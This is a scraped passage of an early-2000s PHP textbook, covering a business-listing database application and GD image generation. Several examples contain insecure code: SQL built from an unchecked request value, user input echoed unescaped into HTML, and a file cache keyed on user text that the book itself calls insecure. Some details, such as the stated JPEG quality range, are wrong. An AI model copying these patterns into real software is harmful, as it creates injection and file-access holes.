// fetch query parameters $add_record = $_REQUEST['add_record']; $Biz_Name = $_REQUEST['Biz_Name']; $Biz_Address = $_REQUEST['Biz_Address']; $Biz_City = $_REQUEST['Biz_City']; $Biz_Telephone = $_REQUEST['Biz_Telephone']; $Biz_URL = $_REQUEST['Biz_URL']; $Biz_Categories = $_REQUEST['Biz_Categories'];

$pick_message = 'Click on one, or control-click on<BR>multiple '; $pick_message .= 'categories:';

// add new business if ($add_record == 1) { $pick_message = 'Selected category values<BR>are highlighted:'; $sql = 'INSERT INTO businesses (name, address, city, telephone, '; $sql .= ' url) VALUES (?, ?, ?, ?, ?)'; $params = array($Biz_Name, $Biz_Address, $Biz_City, $Biz_Telephone, $Biz_URL); $query = $db->prepare($sql); if (DB::isError($query)) die($query->getMessage( )); $resp = $db->execute($query, $params); if (DB::isError($resp)) die($resp->getMessage( )); $resp = $db->commit( ); if (DB::isError($resp)) die($resp->getMessage( )); echo '<P CLASS="message">Record inserted as shown below.</P>'; $biz_id = $db->getOne('SELECT max(business_id) FROM businesses'); }?>

<form method="POST" action="<?= $PHP_SELF ?>"><table><tr><td class="picklist"><?= $pick_message ?> <p> <select name="Biz_Categories[]" size="4" multiple> <?php // build the scrolling pick list for the categories $sql = "SELECT * FROM categories"; $result = $db->query($sql); if (DB::isError($result)) die($result->getMessage( )); while ($row = $result->fetchRow( )){ if (DB::isError($row)) die($row->getMessage( )); if ($add_record == 1){ $selected = false; // if this category was selected, add a new biz_categories row

Example 8-5. Adding a business (continued)

,ch08.16110 Page 209 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (210)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

210 | Chapter 8: Databases

if (in_array($row[1], $Biz_Categories)) { $sql = 'INSERT INTO biz_categories'; $sql .= ' (business_id, category_id)'; $sql .= ' VALUES (?, ?)'; $params = array($biz_id, $row[0]); $query = $db->prepare($sql); if (DB::isError($query)) die($query->getMessage( )); $resp = $db->execute($query, $params); if (DB::isError($resp)) die($resp->getMessage( )); $resp = $db->commit( ); if (DB::isError($resp)) die($resp->getMessage( )); echo "<option selected>$row[1]</option>\n"; $selected = true; } if ($selected == false) { echo "<option>$row[1]</option>\n"; } } else { echo "<option>$row[1]</option>\n"; } } ?>

</select> </td> <td class="picklist"> <table> <tr><td class="FormLabel">Business Name:</td> <td><input type="text" name="Biz_Name" size="40" maxlength="255" value="<?= $Biz_Name ?>"</td> </tr> <tr><td class="FormLabel">Address:</td> <td><input type="text" name="Biz_Address" size="40" maxlength="255" value="<?= $Biz_Address ?>"</td> </tr> <tr><td class="FormLabel">City:</td> <td><input type="text" name="Biz_City" size="40" maxlength="128" value="<?= $Biz_City ?>"</td> </tr> <tr><td class="FormLabel">Telephone:</td> <td><input type="text" name="Biz_Telephone" size="40" maxlength="64" value="<?= $Biz_Telephone ?>"</td> </tr> <tr><td class="FormLabel">URL:</TD> <td><input type="text" name="Biz_URL" size="40" maxlength="255" value="<?= $Biz_URL ?>"</td> </tr> </table> </td></tr></table>

Example 8-5. Adding a business (continued)

,ch08.16110 Page 210 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (211)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Sample Application | 211

Displaying the DatabaseExample 8-6 shows a page that displays the information in the database. The linkson the left side of the page are created from the categories table and link back to thescript, adding a category ID. The category ID forms the basis for a query on thebusinesses table and the biz_categories table.

<p><input type="hidden" name="add_record" value="1">

<?php // display the submit button on new forms; link to a fresh registration // page on confirmations if ($add_record == 1){ echo '<p><a href="',$PHP_SELF,'>Add Another Business</a></p>'; } else { echo '<input type="submit" name="submit" value="Add Business">'; }?>

</p></body></html>

Example 8-6. Business listing page

<html><head><title><?php $doc_title = 'Business Listings'; echo "$doc_title\n";?></title></head><body><h1><?= $doc_title ?></h1>

<?php // establish the database connection

require_once('db_login.php');

$pick_message = 'Click on a category to find business listings:';?>

<table><tr><td valign="top">

Example 8-5. Adding a business (continued)

,ch08.16110 Page 211 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (212)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

212 | Chapter 8: Databases

<table> <tr><td class="picklist"><?= $pick_message ?></td></tr> <p> <?php // build the scrolling pick list for the categories $sql = "SELECT * FROM categories"; $result = $db->query($sql); if (DB::isError($result)) die($result->getMessage( )); while ($row = $result->fetchRow( )){ if (DB::isError($row)) die($row->getMessage( )); echo '<tr><td class="formlabel">'; echo "<a href=\"$PHP_SELF?cat_id=$row[0]\">"; echo "$row[1]</a></td></tr>\n"; } ?> </table></td><td valign="top"> <table> <?php if ($cat_id) { $sql = "SELECT * FROM businesses b, biz_categories bc where"; $sql .= " category_id = '$cat_id'"; $sql .= " and b.business_id = bc.business_id"; $result = $db->query($sql); if (DB::isError($result)) die($result->getMessage( )); while ($row = $result->fetchRow( )){ if (DB::isError($row)) die($row->getMessage( )); if ($color == 1) { $bg_shade = 'dark'; $color = 0; } else { $bg_shade = 'light'; $color = 1; } echo "<tr>\n"; for($i = 0; $i < count($row); $i++) { echo "<td class=\"$bg_shade\">$row[$i]</td>\n"; } echo "</tr>\n"; } } ?> </table></td></tr></table></body></html>

Example 8-6. Business listing page (continued)

,ch08.16110 Page 212 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (213)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Sample Application | 213

The business listings page is illustrated in Figure 8-7.

Figure 8-7. Business listings page

,ch08.16110 Page 213 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (214)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

214

Chapter 9CHAPTER 9

Graphics

The Web is more than just text. Images appear in the form of logos, buttons, photo-graphs, charts, advertisem*nts, and icons. Many of these images are static, built withtools such as PhotoShop and never changed. But many are dynamically created—from advertisem*nts for Amazon’s referral program that include your name toYahoo! Finance’s graphs of stock performance.

PHP supports graphics creation with the GD and Imlib2 extensions. In this chap-ter we’ll show you how to generate images dynamically with PHP, using the GDextension.

Embedding an Image in a PageA common misconception is that there is a mixture of text and graphics flowingacross a single HTTP request. After all, when you view a page you see a single pagecontaining such a mixture. It is important to understand that a standard web pagecontaining text and graphics is created through a series of HTTP requests from theweb browser, each answered by a response from the web server. Each response cancontain one and only one type of data, and each image requires a separate HTTPrequest and web server response. Thus, if you see a page that contains some text andtwo images, you know that it has taken three HTTP requests and correspondingresponses to construct this page.

Take this HTML page, for example:

<html> <head> <title>Example Page</title> </head> <body> This page contains two images. <img src="image1.jpg" alt="Image 1"> <img src="image2.jpg" alt="Image 2"> </body></html>

,ch09.16251 Page 214 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (215)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

The GD Extension | 215

The series of requests sent by the web browser for this page looks something like this:

GET /page.html HTTP/1.0GET /image1.jpg HTTP/1.0GET /image2.jpg HTTP/1.0

The web server sends back a response to each of these requests. The Content-Typeheaders in these responses look like this:

Content-Type: text/htmlContent-Type: image/jpegContent-Type: image/jpeg

To embed a PHP-generated image in an HTML page, pretend that the PHP script thatgenerates the image is actually the image. Thus, if we have image1.php and image2.php scripts that create images, we can modify the previous HTML to look like this:

<html> <head> <title>Example Page</title> </head> <body> This page contains two images. <img src="image1.php" alt="Image 1"> <img src="image2.php" alt="Image 2"> </body></html>

Instead of referring to real images on your web server, the img tags now refer to thePHP scripts that generate the images.

Furthermore, you can pass variables to these scripts, so instead of having separatescripts to generate the two images, you could write your img tags like this:

<img src="image.php?num=1" alt="Image 1"><img src="image.php?num=2" alt="Image 2">

Then, inside image.php, you can access $_GET['num'] (or $num, if register_globals ison) to generate the appropriate image.

The GD ExtensionBefore you can start generating images with PHP, you need to check that you actu-ally have image-generation capabilities in your PHP installation. In this chapter we’lldiscuss using the GD extension, which allows PHP to use the open source GD graph-ics library available from http://www.boutell.com/gd/.

Load the familiar phpinfo( ) page and look for a section entitled “GD”. You shouldsee something similar to the following.

gd

GD Support enabledGD Version 2.0 or higher

,ch09.16251 Page 215 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (216)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

216 | Chapter 9: Graphics

FreeType Support enabledFreeType Linkage with freetypeJPG Support enabledPNG Support enabledWBMP Support enabled

Pay close attention to the image types listed. These are the types of images you willbe able to generate.

There have been three major revisions of GD and its API. Versions of GD before 1.6support only the GIF format. Version 1.6 and later support JPEG, PNG, and WBMP,but not GIF (the GIF file format uses patented algorithms that require royalties). Ver-sion 2.x of GD added several new drawing primitives.

All GD 1.x versions are limited to 8-bit color. That is, the images you generate ormanipulate with GD 1.x can contain only 256 different colors. For simple charts orgraphs this is more than sufficient, but if you are dealing with photos or other imageswith more than 256 colors you will find the results less than satisfactory. Upgrade toGD 2.x to get true-color support, or use the Imlib2 library and corresponding PHPextension instead. The API for the Imlib2 extension is somewhat different from theGD extension API and is not covered in this chapter.

Basic Graphics ConceptsAn image is a rectangle of pixels that have various colors. Colors are identified bytheir position in the palette, an array of colors. Each entry in the palette has threeseparate color values—one for red, one for green, and one for blue. Each valueranges from 0 (this color not present) to 255 (this color at full intensity).

Image files are rarely a straightforward dump of the pixels and the palette. Instead,various file formats (GIF, JPEG, PNG, etc.) have been created that attempt to com-press the data somewhat to make smaller files.

Different file formats handle image transparency, which controls whether and howthe background shows through the image, in different ways. Some support an alphachannel, an extra value for every pixel reflecting the transparency at that point. Oth-ers simply designate one entry in the palette as indicating transparency.

Antialiasing is where pixels at the edge of a shape are moved or recolored to make agradual transition between the shape and its background. This prevents the roughand jagged edges that can make for unappealing images. Some functions that drawon an image implement antialiasing.

With 256 possible values for each of red, green, and blue, there are 16,777,216 possi-ble colors for every pixel. Some file formats limit the number of colors you can havein a palette (e.g., GIF supports no more than 256 colors); others let you have as

,ch09.16251 Page 216 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (217)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Creating and Drawing Images | 217

many colors as you need. The latter are known as true color formats, because 24-bitcolor (8 bits for each of red, green, and blue) gives more hues than the human eyecan distinguish.

Creating and Drawing ImagesFor now, let’s start with the simplest possible GD example. Example 9-1 is a scriptthat generates a black filled square. The code works with any version of GD that sup-ports the PNG image format.

Example 9-1 illustrates the basic steps in generating any image: creating the image,allocating colors, drawing the image, and then saving or sending the image.Figure 9-1 shows the output of Example 9-1.

To see the result, simply point your browser at the black.php PHP page. To embedthis image in a web page, use:

<img src="black.php">

The Structure of a Graphics ProgramMost dynamic image-generation programs follow the same basic steps outlined inExample 9-1.

You can create a 256-color image with the ImageCreate( ) function, which returns animage handle:

$image = ImageCreate(width, height);

Example 9-1. A black square on a white background (black.php)

<?php $im = ImageCreate(200,200); $white = ImageColorAllocate($im,0xFF,0xFF,0xFF); $black = ImageColorAllocate($im,0x00,0x00,0x00); ImageFilledRectangle($im,50,50,150,150,$black); header('Content-Type: image/png'); ImagePNG($im);?>

Figure 9-1. A black square on a white background

,ch09.16251 Page 217 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (218)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

218 | Chapter 9: Graphics

All colors used in an image must be allocated with the ImageColorAllocate( ) func-tion. The first color allocated becomes the background color for the image.*

$color = ImageColorAllocate(image, red, green, blue);

The arguments are the numeric RGB (red, green, blue) components of the color. InExample 9-1, we wrote the color values in hexadecimal, to bring the function callcloser to the HTML color representation "#FFFFFF" and "#000000".

There are many drawing primitives in GD. Example 9-1 uses ImageFilledRectangle( ),in which you specify the dimensions of the rectangle by passing the coordinates of thetop-left and bottom-right corners:

ImageFilledRectangle(image, tlx, tly, brx, bry, color);

The next step is to send a Content-Type header to the browser with the appropriatecontent type for the kind of image being created. Once that is done, we call theappropriate output function. The ImageJPEG( ), ImagePNG( ), and ImageWBMP( ) func-tions create JPEG, PNG, and WBMP files from the image, respectively:

ImageJPEG(image [, filename [, quality ]]);ImagePNG(image [, filename ]);ImageWBMP(image [, filename ]);

If no filename is given, the image is sent to the browser. The quality argument forJPEGs is a number from 0 (worst-looking) to 10 (best-looking). The lower the qual-ity, the smaller the JPEG file. The default setting is 7.5.

In Example 9-1, we set the HTTP header immediately before calling the output-generating function ImagePNG( ). If, instead, you set the Content-Type at the verystart of the script, any errors that are generated are treated as image data and thebrowser displays a broken image icon. Table 9-1 lists the image formats and theirContent-Type values.

Changing the Output FormatAs you may have deduced, generating an image stream of a different type requiresonly two changes to the script: send a different Content-Type and use a different

* This is true only for images with a color palette. True color images created using ImageCreateTrueColor( ) donot obey this rule.

Table 9-1. Content-Type values for image formats

Format Content-Type

GIF image/gif

JPEG image/jpeg

PNG image/png

WBMP image/vnd.wap.wbmp

,ch09.16251 Page 218 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (219)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Creating and Drawing Images | 219

image-generating function. Example 9-2 shows Example 9-1 modified to generate aJPEG instead of a PNG image.

Testing for Supported Image FormatsIf you are writing code that must be portable across systems that may support differ-ent image formats, use the ImageTypes( ) function to check which image types aresupported. This function returns a bitfield; you can use the bitwise AND operator (&)to check if a given bit is set. The constants IMG_GIF, IMG_JPG, IMG_PNG, and IMG_WBMPcorrespond to the bits for those image formats.

Example 9-3 generates PNG files if PNG is supported, JPEG files if PNG is not sup-ported, and GIF files if neither PNG nor JPEG are supported.

Reading an Existing FileIf you want to start with an existing image and then modify it, use eitherImageCreateFromJPEG( ) or ImageCreateFromPNG( ):

$image = ImageCreateFromJPEG(filename);$image = ImageCreateFromPNG(filename);

Example 9-2. JPEG version of the black square

<?php $im = ImageCreate(200,200); $white = ImageColorAllocate($im,0xFF,0xFF,0xFF); $black = ImageColorAllocate($im,0x00,0x00,0x00); ImageFilledRectangle($im,50,50,150,150,$black); header('Content-Type: image/jpeg'); ImageJPEG($im);?>

Example 9-3. Checking for image format support

<?php $im = ImageCreate(200,200); $white = ImageColorAllocate($im,0xFF,0xFF,0xFF); $black = ImageColorAllocate($im,0x00,0x00,0x00); ImageFilledRectangle($im,50,50,150,150,$black); if (ImageTypes( ) & IMG_PNG) { header("Content-Type: image/png"); ImagePNG($im); } elseif (ImageTypes( ) & IMG_JPG) { header("Content-Type: image/jpeg"); ImageJPEG($im); } elseif (ImageTypes( ) & IMG_GIF) { header("Content-Type: image/gif"); ImageGIF($im); }?>

,ch09.16251 Page 219 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (220)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

220 | Chapter 9: Graphics

Basic Drawing FunctionsGD has functions for drawing basic points, lines, arcs, rectangles, and polygons. Thissection describes the base functions supported by GD 1.x.

The most basic function is ImageSetPixel( ), which sets the color of a specified pixel:

ImageSetPixel(image, x, y, color);

There are two functions for drawing lines, ImageLine( ) and ImageDashedLine( ):

ImageLine(image, start_x, start_y, end_x, end_y, color);ImageDashedLine(image, start_x, start_y, end_x, end_y, color);

There are two functions for drawing rectangles, one that simply draws the outlineand one that fills the rectangle with the specified color:

ImageRectangle(image, tlx, tly, brx, bry, color);ImageFilledRectangle(image, tlx, tly, brx, bry, color);

Specify the location and size of the rectangle by passing the coordinates of the top-left and bottom-right corners.

You can draw arbitrary polygons with the ImagePolygon( ) and ImageFilledPolygon( )functions:

ImagePolygon(image, points, number, color);ImageFilledPolygon(image, points, number, color);

Both functions take an array of points. This array has two integers (the x and y coor-dinates) for each vertex on the polygon. The number argument is the number of verti-ces in the array (typically count($points)/2).

The ImageArc( ) function draws an arc (a portion of an ellipse):

ImageArc(image, center_x, center_y, width, height, start, end, color);

The ellipse is defined by its center, width, and height (height and width are thesame for a circle). The start and end points of the arc are given as degrees countingcounterclockwise from 3 o’clock. Draw the full ellipse with a start of 0 and an endof 360.

There are two ways to fill in already-drawn shapes. The ImageFill( ) function per-forms a flood fill, changing the color of the pixels starting at the given location. Anychange in pixel color marks the limits of the fill. The ImageFillToBorder( ) functionlets you pass the particular color of the limits of the fill:

ImageFill(image, x, y, color);ImageFillToBorder(image, x, y, border_color, color);

Images with TextOften it is necessary to add text to images. GD has built-in fonts for this purpose.Example 9-4 adds some text to our black square image.

,ch09.16251 Page 220 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (221)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Images with Text | 221

Figure 9-2 shows the output of Example 9-4.

The ImageString( ) function adds text to an image. Specify the top-left point of thetext, as well as the color and the font to use:

ImageString(image, font, x, y, text, color);

FontsFonts in GD are identified by numbers. The five built-in fonts are shown in Figure 9-3.

You can create your own fonts and load them into GD using the ImageLoadFont( )function. However, these fonts are binary and architecture-dependent. Using True-Type fonts with the TrueType functions in GD provides much more flexibility.

TrueType FontsTo use TrueType fonts with GD, PHP must have been compiled with TrueType sup-port via the FreeType library. Check your phpinfo( ) page (as described earlier in this

Example 9-4. Adding text to an image

<?php $im = ImageCreate(200,200); $white = ImageColorAllocate($im,0xFF,0xFF,0xFF); $black = ImageColorAllocate($im,0x00,0x00,0x00); ImageFilledRectangle($im,50,50,150,150,$black); ImageString($im,5,50,160,"A Black Box",$black); Header('Content-Type: image/png'); ImagePNG($im);?>

Figure 9-2. The image with text

Figure 9-3. Native GD fonts

,ch09.16251 Page 221 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (222)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

222 | Chapter 9: Graphics

chapter) to see if your “GD” section includes an entry stating that “FreeType” sup-port is enabled.

To add text in a TrueType font to an image, use ImageTTFText( ):

ImageTTFText(image, size, angle, x, y, color, font, text);

The size is measured in pixels. angle is in degrees from 3 o’clock (0 gives horizontaltext, 90 gives vertical text going up the image, etc.). The x and y coordinates specifythe lower-left corner of the text (unlike in ImageString( ), where the coordinatesspecify the upper-right corner). The text may include UTF-8* sequences of the form&#234; to print high-bit ASCII characters.

In GD 1.x, the font is a full path filename, including the .ttf extension. In GD 2.x, bydefault, the fonts are looked up in /usr/share/fonts/truetype and the lowercase .ttfextension is automatically added for you. Font sizing is also slightly differentbetween GD 1.x and GD 2.x.

By default, text in a TrueType font is antialiased. This makes most fonts much easierto read, although very slightly blurred. Antialiasing can make very small text harderto read, though—small characters have fewer pixels, so the adjustments of antialias-ing are more significant.

You can turn off antialiasing by using a negative color index (e.g., –4 means to usecolor index 4, but to not antialias the text). Antialiasing of TrueType fonts on truecolor images is broken in GD 2.0.1 but fixed as of GD 2.0.2.

Example 9-5 uses a TrueType font to add text to an image.

Figure 9-4 shows the output of Example 9-5.

Example 9-6 uses ImageTTFText( ) to add vertical text to an image.

* UTF-8 is an 8-bit Unicode encoding scheme. To learn more about Unicode, see http://www.unicode.org.

Example 9-5. Using a TrueType font

<?php $im = ImageCreate(350, 70); $white = ImageColorAllocate($im, 0xFF,0xFF,0xFF); $black = ImageColorAllocate($im, 0x00,0x00,0x00); ImageTTFText ($im, 20, 0, 10, 40, $black, 'courbi', 'The Courier TTF font'); header('Content-Type: image/png'); ImagePNG($im);?>

Figure 9-4. Courier bold italic TrueType font

,ch09.16251 Page 222 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (223)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Dynamically Generated Buttons | 223

Figure 9-5 shows the output of Example 9-6.

Dynamically Generated ButtonsA popular use for dynamically generated images is to create images for buttons onthe fly. Normally, a blank button background image is used and text is overlaid ontop of it, as shown in Example 9-7.

Example 9-6. Displaying vertical TrueType text

<?php $im = ImageCreate(70, 350); $white = ImageColorAllocate ($im, 255, 255, 255); $black = ImageColorAllocate ($im, 0, 0, 0); ImageTTFText ($im, 20, 270, 28, 10, $black, 'courbi', 'The Courier TTF font'); header('Content-Type: image/png'); ImagePNG($im);?>

Figure 9-5. Vertical TrueType text

Example 9-7. Creating a dynamic button

<?php $font = 'times'; if (!$size) $size = 12; $im = ImageCreateFromPNG('button.png'); // calculate position of text $tsize = ImageTTFBBox($size,0,$font,$text); $dx = abs($tsize[2]-$tsize[0]); $dy = abs($tsize[5]-$tsize[3]); $x = ( ImageSx($im) - $dx ) / 2;

,ch09.16251 Page 223 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (224)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

224 | Chapter 9: Graphics

In this case, the blank button (button.png) looks as shown in Figure 9-6.

Note that if you are using GD 2.0.1, antialiased TrueType fonts work only if thebackground image is indexed. If you are having problems with your text looking ter-rible, load your background image into any image-editing tool and convert it from atrue color image to one with an 8-bit indexed palette. Alternatively, upgrade fromGD 2.0.1 to GD 2.0.2 or later.

The script in Example 9-7 can be called from a page like this:

<img src="button.php?text=PHP+Button">

This HTML generates the button shown in Figure 9-7.

The + character in the URL is the encoded form of a space. Spaces are illegal in URLsand must be encoded. Use PHP’s urlencode( ) function to encode your buttonstrings. For example:

<img src="button.php?text=<?php echo urlencode('PHP Button')?>">

Caching the Dynamically Generated ButtonsIt is somewhat slower to generate an image than to send a static image. For buttonsthat will always look the same when called with the same text argument, a simplecache mechanism can be implemented.

Example 9-8 generates the button only when no cache file for that button is found. The$path variable holds a directory, writable by the web server user, where buttons can becached. The filesize( ) function returns the size of a file, and readfile( ) sends thecontents of a file to the browser. Because this script uses the text form parameter as thefilename, it is very insecure (Chapter 12 explains why and how to fix it).

$y = ( ImageSy($im) - $dy ) / 2 + $dy; // draw text $black = ImageColorAllocate($im,0,0,0); ImageTTFText($im, $size, 0, $x, $y, $black, $font, $text); header('Content-Type: image/png'); ImagePNG($im);?>

Figure 9-6. Blank button

Figure 9-7. Generated button

Example 9-7. Creating a dynamic button (continued)

,ch09.16251 Page 224 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (225)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Dynamically Generated Buttons | 225

A Faster CacheExample 9-8 is still not quite as quick as it could be. There is a more advanced cach-ing technique that completely eliminates PHP from the request once an image hasbeen generated.

First, create a buttons directory somewhere under your web server’s DocumentRootand make sure that your web server user has permissions to write to this directory.For example, if the DocumentRoot directory is /var/www/html, create /var/www/html/buttons.

Second, edit your Apache httpd.conf file and add the following block:

<Location /buttons/> ErrorDocument 404 /button.php</Location>

This tells Apache that requests for nonexistent files in the buttons directory should besent to your button.php script.

Third, save Example 9-9 as button.php. This script creates new buttons, saving themto the cache and sending them to the browser. There are several differences fromExample 9-8, though. We don’t have form parameters in $_GET, because Apache han-dles error pages as redirections. Instead, we have to pull apart values in $_SERVER tofind out which button we’re generating. While we’re at it, we delete the '..' in thefilename to fix the security hole from Example 9-8.

Example 9-8. Caching dynamic buttons

<?php header('Content-Type: image/png'); $path = "/tmp/buttons"; // button cache directory $text = $_GET['text'];

if($bytes = @filesize("$path/$text.png")) { // send cached version header("Content-Length: $bytes"); readfile("$path/$text.png"); } else { // build, send, and cache $font = 'times'; if (!$_GET['size']) $_GET['size'] = 12; $im = ImageCreateFromPNG('button.png'); $tsize = ImageTTFBBox($size, 0, $font, $text); $dx = abs($tsize[2]-$tsize[0]); // center text $dy = abs($tsize[5]-$tsize[3]); $x = ( imagesx($im) - $dx ) / 2; $y = ( imagesy($im) - $dy ) / 2 + $dy; $black = ImageColorAllocate($im,0,0,0); ImageTTFText($im, $_GET['size'], 0, $x, $y, -$black, $font, $text); ImagePNG($im); // send image to browser ImagePNG($im,"$path/$text.png"); // save image to file }?>

,ch09.16251 Page 225 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (226)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

226 | Chapter 9: Graphics

Once button.php is installed, when a request comes in for something like http://your.site/buttons/php.png, the web server checks whether the buttons/php.png fileexists. If it does not, the request is redirected to our button.php script, which cre-ates the image (with the text “php”) and saves it to buttons/php.png. Any subse-quent requests for this file are served up directly without a line of PHP being run.

The only drawback to the mechanism in Example 9-9 is that the button text cannotcontain any characters that are illegal in a filename. Nonetheless, this is the most effi-cient way to cache such dynamically generated images. If you change the look ofyour buttons and you need to regenerate the cached images, simply delete all theimages in your buttons directory, and they will be recreated as they are requested.

Example 9-9. More efficient caching of dynamic buttons

<?php // bring in redirected URL parameters, if any parse_str($_SERVER['REDIRECT_QUERY_STRING']);

$button_dir = '/buttons/'; $url = $_SERVER['REDIRECT_URL']; $root = $_SERVER['DOCUMENT_ROOT'];

// pick out the extension $ext = substr($url,strrpos($url,'.'));

// remove directory and extension from $url string $file = substr($url,strlen($button_dir),-strlen($ext));

// security - don't allow '..' in filename $file = str_replace('..','',$file);

// text to display in button $text = urldecode($file);

// build image if(!isset($font)) $font = 'times'; if(!isset($size)) $size = 12; $im = ImageCreateFromPNG('button.png'); $tsize = ImageTTFBBox($size,0,$font,$text); $dx = abs($tsize[2]-$tsize[0]); $dy = abs($tsize[5]-$tsize[3]); $x = ( ImageSx($im) - $dx ) / 2; $y = ( ImageSy($im) - $dy ) / 2 + $dy; $black = ImageColorAllocate($im,0,0,0); ImageTTFText($im, $size, 0, $x, $y, -1*$black, $font, $text);

// send and save the image header('Content-Type: image/png'); ImagePNG($im); ImagePNG($im,$root.$button_dir."$file.png"); ImageDestroy($im);?>

,ch09.16251 Page 226 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (227)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Scaling Images | 227

You can also take this a step further and get your button.php script to support multi-ple image types. Simply check $ext and call the appropriate ImagePNG( ), ImageJPEG( ),or ImageGIF( ) function at the end of the script. You can also parse the filename andadd modifiers such as color, size, and font, or pass them right in the URL. Because ofthe parse_str( ) call in the example, a URL such as http://your.site/buttons/php.png?size=16 displays “php” in a font size of 16.

Scaling ImagesThere are two ways to change the size of an image. The ImageCopyResized( ) func-tion is available in all versions of GD, but its resizing algorithm is crude and may leadto jagged edges in your new images. The ImageCopyResampled( ) function is new inGD 2.x and features pixel interpolation to give smooth edges and clarity to resizedimages (it is, however, slower than ImageCopyResized( )). Both functions take thesame arguments:

ImageCopyResized(dest, src, dx, dy, sx, sy, dw, dh, sw, sh);ImageCopyResampled(dest, src, dx, dy, sx, sy, dw, dh, sw, sh);

The dest and src parameters are image handles. The point (dx,dy) is the point in thedestination image where the region will be copied. The point (sx,sy) is the upper-left corner of the source image. The sw, sh, dw, and dh parameters give the width andheight of the copy regions in the source and destination.

Example 9-10 takes the php.jpg image shown in Figure 9-8 and smoothly scales itdown to one-quarter of its size, yielding the image in Figure 9-9.

Figure 9-8. Original php.jpg image

Example 9-10. Resizing with ImageCopyResampled( )

<?php $src = ImageCreateFromJPEG('php.jpg'); $width = ImageSx($src); $height = ImageSy($src); $x = $width/2; $y = $height/2; $dst = ImageCreateTrueColor($x,$y); ImageCopyResampled($dst,$src,0,0,0,0,$x,$y,$width,$height);

,ch09.16251 Page 227 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (228)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

228 | Chapter 9: Graphics

The output of Example 9-10 is shown in Figure 9-9.

Dividing the height and the width by 4 instead of 2 produces the output shown inFigure 9-10.

Color HandlingColor support improved markedly between GD 1.x and GD 2.x. In GD 1.x there wasno notion of the alpha channel, color handling was rather simple, and the librarysupported only 8-bit palette images (256 colors). When creating GD 1.x 8-bit paletteimages, you use the ImageCreate( ) function, and the first color you allocate using theImageColorAllocate( ) function becomes the background color.

In GD 2.x there is support for true color images complete with an alpha channel. GD2.x has a 7-bit (0–127) alpha channel.

To create a true color image, use the ImageCreateTrueColor( ) function:

$image = ImageCreateTrueColor(width, height);

Use ImageColorResolveAlpha( ) to create a color index that includes transparency:

$color = ImageColorResolveAlpha(image, red, green, blue, alpha);

The alpha value is between 0 (opaque) and 127 (transparent).

While most people are used to an 8-bit (0–255) alpha channel, it is actually quitehandy that GD’s is 7-bit (0–127). Each pixel is represented by a 32-bit signed inte-ger, with the four 8-bit bytes arranged like this:

High Byte Low Byte{Alpha Channel} {Red} {Green} {Blue}

header('Content-Type: image/png'); ImagePNG($dst);?>

Figure 9-9. Resulting 1/4-sized image

Figure 9-10. Resulting 1/16-sized image

Example 9-10. Resizing with ImageCopyResampled( ) (continued)

,ch09.16251 Page 228 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (229)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Color Handling | 229

For a signed integer, the leftmost bit, or the highest bit, is used to indicate whetherthe value is negative, thus leaving only 31 bits of actual information. PHP’s defaultinteger value is a signed long into which we can store a single GD palette entry.Whether that integer is positive or negative tells us whether antialiasing is enabledfor that palette entry.

Unlike with palette images, with GD 2.x true color images the first color you allocatedoes not automatically become your background color. Call ImageFilledRectangle( )to fill the image with any background color you want.

Example 9-11 creates a true color image and draws a semitransparent orange ellipseon a white background.

Figure 9-11 shows the output of Example 9-11.

